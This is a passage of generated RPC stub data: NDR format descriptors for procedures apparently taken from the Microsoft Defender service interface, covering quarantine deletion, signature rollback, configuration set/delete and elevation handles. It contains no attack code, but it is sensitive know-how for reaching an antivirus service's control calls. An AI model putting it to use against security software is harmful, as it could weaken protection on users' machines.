*/ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 2208 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 2210 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 2212 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 2214 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 2216 */ NdrFcShort( 0x10a ), /* Flags: must free, in, simple ref, */ +/* 2218 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 2220 */ NdrFcShort( 0x10 ), /* Type Offset=16 */ + + /* Parameter arg_4 */ + +/* 2222 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 2224 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 2226 */ NdrFcShort( 0x586 ), /* Type Offset=1414 */ + + /* Parameter arg_5 */ + +/* 2228 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 2230 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 2232 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 2234 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 2236 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 2238 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc39_ServerMpQuarantineDeleteThreat */ + +/* 2240 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 2242 */ NdrFcLong( 0x0 ), /* 0 */ +/* 2246 */ NdrFcShort( 0x27 ), /* 39 */ +/* 2248 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 2250 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 2252 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 2254 */ NdrFcShort( 0x4c ), /* 76 */ +/* 2256 */ NdrFcShort( 0x24 ), /* 36 */ +/* 2258 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x4, /* 4 */ +/* 2260 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 2262 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2264 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2266 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2268 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 2270 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 2272 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 2274 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 2276 */ NdrFcShort( 0x10a ), /* Flags: must free, in, simple ref, */ +/* 2278 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 2280 */ NdrFcShort( 0x10 ), /* Type Offset=16 */ + + /* Parameter arg_3 */ + +/* 2282 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 2284 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 2286 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 2288 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 2290 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 2292 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc40_ServerMpStateEnumOpen */ + +/* 2294 */ 0x33, /* FC_AUTO_HANDLE */ + 0x48, /* Old Flags: */ +/* 2296 */ NdrFcLong( 0x0 ), /* 0 */ +/* 2300 */ NdrFcShort( 0x28 ), /* 40 */ +/* 2302 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 2304 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2306 */ NdrFcShort( 0x5c ), /* 92 */ +/* 2308 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x3, /* 3 */ +/* 2310 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 2312 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2314 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2316 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2318 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 2320 */ NdrFcShort( 0x110 ), /* Flags: out, simple ref, */ +/* 2322 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 2324 */ NdrFcShort( 0xbc ), /* Type Offset=188 */ + + /* Parameter arg_2 */ + +/* 2326 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 2328 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 2330 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 2332 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 2334 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 2336 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc41_ServerMpQueryEngineVersion */ + +/* 2338 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 2340 */ NdrFcLong( 0x0 ), /* 0 */ +/* 2344 */ NdrFcShort( 0x29 ), /* 41 */ +/* 2346 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 2348 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 2350 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 2352 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2354 */ NdrFcShort( 0x288 ), /* 648 */ +/* 2356 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x3, /* 3 */ +/* 2358 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 2360 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2362 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2364 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2366 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 2368 */ NdrFcShort( 0x112 ), /* Flags: must free, out, simple ref, */ +/* 2370 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 2372 */ NdrFcShort( 0x5a4 ), /* Type Offset=1444 */ + + /* Parameter arg_2 */ + +/* 2374 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 2376 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 2378 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 2380 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 2382 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 2384 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc42_ServerMpUpdateEngineSignature */ + +/* 2386 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 2388 */ NdrFcLong( 0x0 ), /* 0 */ +/* 2392 */ NdrFcShort( 0x2a ), /* 42 */ +/* 2394 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 2396 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 2398 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 2400 */ NdrFcShort( 0x8 ), /* 8 */ +/* 2402 */ NdrFcShort( 0x24 ), /* 36 */ +/* 2404 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x4, /* 4 */ +/* 2406 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 2408 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2410 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2412 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2414 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 2416 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 2418 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 2420 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 2422 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 2424 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 2426 */ NdrFcShort( 0x586 ), /* Type Offset=1414 */ + + /* Parameter arg_3 */ + +/* 2428 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 2430 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 2432 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 2434 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 2436 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 2438 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc43_ServerMpRollbackEngineSignature */ + +/* 2440 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 2442 */ NdrFcLong( 0x0 ), /* 0 */ +/* 2446 */ NdrFcShort( 0x2b ), /* 43 */ +/* 2448 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 2450 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 2452 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 2454 */ NdrFcShort( 0x10 ), /* 16 */ +/* 2456 */ NdrFcShort( 0x24 ), /* 36 */ +/* 2458 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x4, /* 4 */ +/* 2460 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 2462 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2464 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2466 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2468 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 2470 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 2472 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 2474 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 2476 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 2478 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 2480 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 2482 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 2484 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 2486 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 2488 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 2490 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 2492 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc44_ServerMpThreatStaticInfo */ + +/* 2494 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 2496 */ NdrFcLong( 0x0 ), /* 0 */ +/* 2500 */ NdrFcShort( 0x2c ), /* 44 */ +/* 2502 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 2504 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 2506 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 2508 */ NdrFcShort( 0x18 ), /* 24 */ +/* 2510 */ NdrFcShort( 0x24 ), /* 36 */ +/* 2512 */ 0x45, /* Oi2 Flags: srv must size, has return, has ext, */ + 0x5, /* 5 */ +/* 2514 */ 0xa, /* 10 */ + 0x3, /* Ext Flags: new corr desc, clt corr check, */ +/* 2516 */ NdrFcShort( 0x1 ), /* 1 */ +/* 2518 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2520 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2522 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 2524 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 2526 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 2528 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 2530 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 2532 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 2534 */ 0xb, /* FC_HYPER */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 2536 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 2538 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 2540 */ NdrFcShort( 0x406 ), /* Type Offset=1030 */ + + /* Parameter arg_4 */ + +/* 2542 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 2544 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 2546 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 2548 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 2550 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 2552 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc45_ServerMpQuerySystemInfo */ + +/* 2554 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 2556 */ NdrFcLong( 0x0 ), /* 0 */ +/* 2560 */ NdrFcShort( 0x2d ), /* 45 */ +/* 2562 */ NdrFcShort( 0x40 ), /* X64 Stack size/offset = 64 */ +/* 2564 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 2566 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 2568 */ NdrFcShort( 0x4c ), /* 76 */ +/* 2570 */ NdrFcShort( 0x40 ), /* 64 */ +/* 2572 */ 0x47, /* Oi2 Flags: srv must size, clt must size, has return, has ext, */ + 0x7, /* 7 */ +/* 2574 */ 0xa, /* 10 */ + 0x7, /* Ext Flags: new corr desc, clt corr check, srv corr check, */ +/* 2576 */ NdrFcShort( 0x1 ), /* 1 */ +/* 2578 */ NdrFcShort( 0x1 ), /* 1 */ +/* 2580 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2582 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 2584 */ NdrFcShort( 0x10a ), /* Flags: must free, in, simple ref, */ +/* 2586 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 2588 */ NdrFcShort( 0x10 ), /* Type Offset=16 */ + + /* Parameter arg_2 */ + +/* 2590 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 2592 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 2594 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 2596 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 2598 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 2600 */ NdrFcShort( 0x5d2 ), /* Type Offset=1490 */ + + /* Parameter arg_4 */ + +/* 2602 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 2604 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 2606 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_5 */ + +/* 2608 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 2610 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 2612 */ NdrFcShort( 0x5e2 ), /* Type Offset=1506 */ + + /* Parameter arg_6 */ + +/* 2614 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 2616 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 2618 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 2620 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 2622 */ NdrFcShort( 0x38 ), /* X64 Stack size/offset = 56 */ +/* 2624 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc46_ServerMpRpcConfigSetValue */ + +/* 2626 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 2628 */ NdrFcLong( 0x0 ), /* 0 */ +/* 2632 */ NdrFcShort( 0x2e ), /* 46 */ +/* 2634 */ NdrFcShort( 0x40 ), /* X64 Stack size/offset = 64 */ +/* 2636 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 2638 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 2640 */ NdrFcShort( 0x10 ), /* 16 */ +/* 2642 */ NdrFcShort( 0x24 ), /* 36 */ +/* 2644 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x7, /* 7 */ +/* 2646 */ 0xa, /* 10 */ + 0x5, /* Ext Flags: new corr desc, srv corr check, */ +/* 2648 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2650 */ NdrFcShort( 0x1 ), /* 1 */ +/* 2652 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2654 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 2656 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 2658 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 2660 */ NdrFcShort( 0x586 ), /* Type Offset=1414 */ + + /* Parameter arg_2 */ + +/* 2662 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 2664 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 2666 */ NdrFcShort( 0x586 ), /* Type Offset=1414 */ + + /* Parameter arg_3 */ + +/* 2668 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 2670 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 2672 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_4 */ + +/* 2674 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 2676 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 2678 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_5 */ + +/* 2680 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 2682 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 2684 */ NdrFcShort( 0x5fa ), /* Type Offset=1530 */ + + /* Parameter arg_6 */ + +/* 2686 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 2688 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 2690 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 2692 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 2694 */ NdrFcShort( 0x38 ), /* X64 Stack size/offset = 56 */ +/* 2696 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc47_ServerMpRpcConfigDelValue */ + +/* 2698 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 2700 */ NdrFcLong( 0x0 ), /* 0 */ +/* 2704 */ NdrFcShort( 0x2f ), /* 47 */ +/* 2706 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 2708 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 2710 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 2712 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2714 */ NdrFcShort( 0x24 ), /* 36 */ +/* 2716 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x4, /* 4 */ +/* 2718 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 2720 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2722 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2724 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2726 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 2728 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 2730 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 2732 */ NdrFcShort( 0x586 ), /* Type Offset=1414 */ + + /* Parameter arg_2 */ + +/* 2734 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 2736 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 2738 */ NdrFcShort( 0x586 ), /* Type Offset=1414 */ + + /* Parameter arg_3 */ + +/* 2740 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 2742 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 2744 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 2746 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 2748 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 2750 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc48_ServerMpRpcElevationHandleOpen */ + +/* 2752 */ 0x33, /* FC_AUTO_HANDLE */ + 0x48, /* Old Flags: */ +/* 2754 */ NdrFcLong( 0x0 ), /* 0 */ +/* 2758 */ NdrFcShort( 0x30 ), /* 48 */ +/* 2760 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 2762 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2764 */ NdrFcShort( 0xa0 ), /* 160 */ +/* 2766 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x4, /* 4 */ +/* 2768 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 2770 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2772 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2774 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2776 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 2778 */ NdrFcShort( 0x4112 ), /* Flags: must free, out, simple ref, srv alloc size=16 */ +/* 2780 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 2782 */ NdrFcShort( 0x10 ), /* Type Offset=16 */ + + /* Parameter arg_2 */ + +/* 2784 */ NdrFcShort( 0x110 ), /* Flags: out, simple ref, */ +/* 2786 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 2788 */ NdrFcShort( 0xbc ), /* Type Offset=188 */ + + /* Parameter arg_3 */ + +/* 2790 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 2792 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 2794 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 2796 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 2798 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 2800 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc49_ServerMpRpcElevationHandleAttach */ + +/* 2802 */ 0x33, /* FC_AUTO_HANDLE */ + 0x48, /* Old Flags: */ +/* 2804 */ NdrFcLong( 0x0 ), /* 0 */ +/* 2808 */ NdrFcShort( 0x31 ), /* 49 */ +/* 2810 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 2812 */ NdrFcShort( 0x44 ), /* 68 */ +/* 2814 */ NdrFcShort( 0x5c ), /* 92 */ +/* 2816 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x4, /* 4 */ +/* 2818 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 2820 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2822 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2824 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2826 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 2828 */ NdrFcShort( 0x10a ), /* Flags: must free, in, simple ref, */ +/* 2830 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 2832 */ NdrFcShort( 0x10 ), /* Type Offset=16 */ + + /* Parameter arg_2 */ + +/* 2834 */ NdrFcShort( 0x110 ), /* Flags: out, simple ref, */ +/* 2836 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 2838 */ NdrFcShort( 0xbc ), /* Type Offset=188 */ + + /* Parameter arg_3 */ + +/* 2840 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 2842 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 2844 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 2846 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 2848 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 2850 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc50_ServerMpRpcElevationHandleClose */ + +/* 2852 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 2854 */ NdrFcLong( 0x0 ), /* 0 */ +/* 2858 */ NdrFcShort( 0x32 ), /* 50 */ +/* 2860 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 2862 */ 0x30, /* FC_BIND_CONTEXT */ + 0xe0, /* Ctxt flags: via ptr, in, out, */ +/* 2864 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 2866 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 2868 */ NdrFcShort( 0x40 ), /* 64 */ +/* 2870 */ NdrFcShort( 0x5c ), /* 92 */ +/* 2872 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x4, /* 4 */ +/* 2874 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 2876 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2878 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2880 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2882 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 2884 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 2886 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 2888 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 2890 */ NdrFcShort( 0x118 ), /* Flags: in, out, simple ref, */ +/* 2892 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 2894 */ NdrFcShort( 0xc4 ), /* Type Offset=196 */ + + /* Parameter arg_3 */ + +/* 2896 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 2898 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 2900 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 2902 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 2904 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 2906 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc51_ServerMpRpcElevateCleanHandle */ + +/* 2908 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 2910 */ NdrFcLong( 0x0 ), /* 0 */ +/* 2914 */ NdrFcShort( 0x33 ), /* 51 */ +/* 2916 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 2918 */ 0x30, /* FC_BIND_CONTEXT */ + 0x40, /* Ctxt flags: in, */ +/* 2920 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 2922 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 2924 */ NdrFcShort( 0x48 ), /* 72 */ +/* 2926 */ NdrFcShort( 0x24 ), /* 36 */ +/* 2928 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x4, /* 4 */ +/* 2930 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 2932 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2934 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2936 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2938 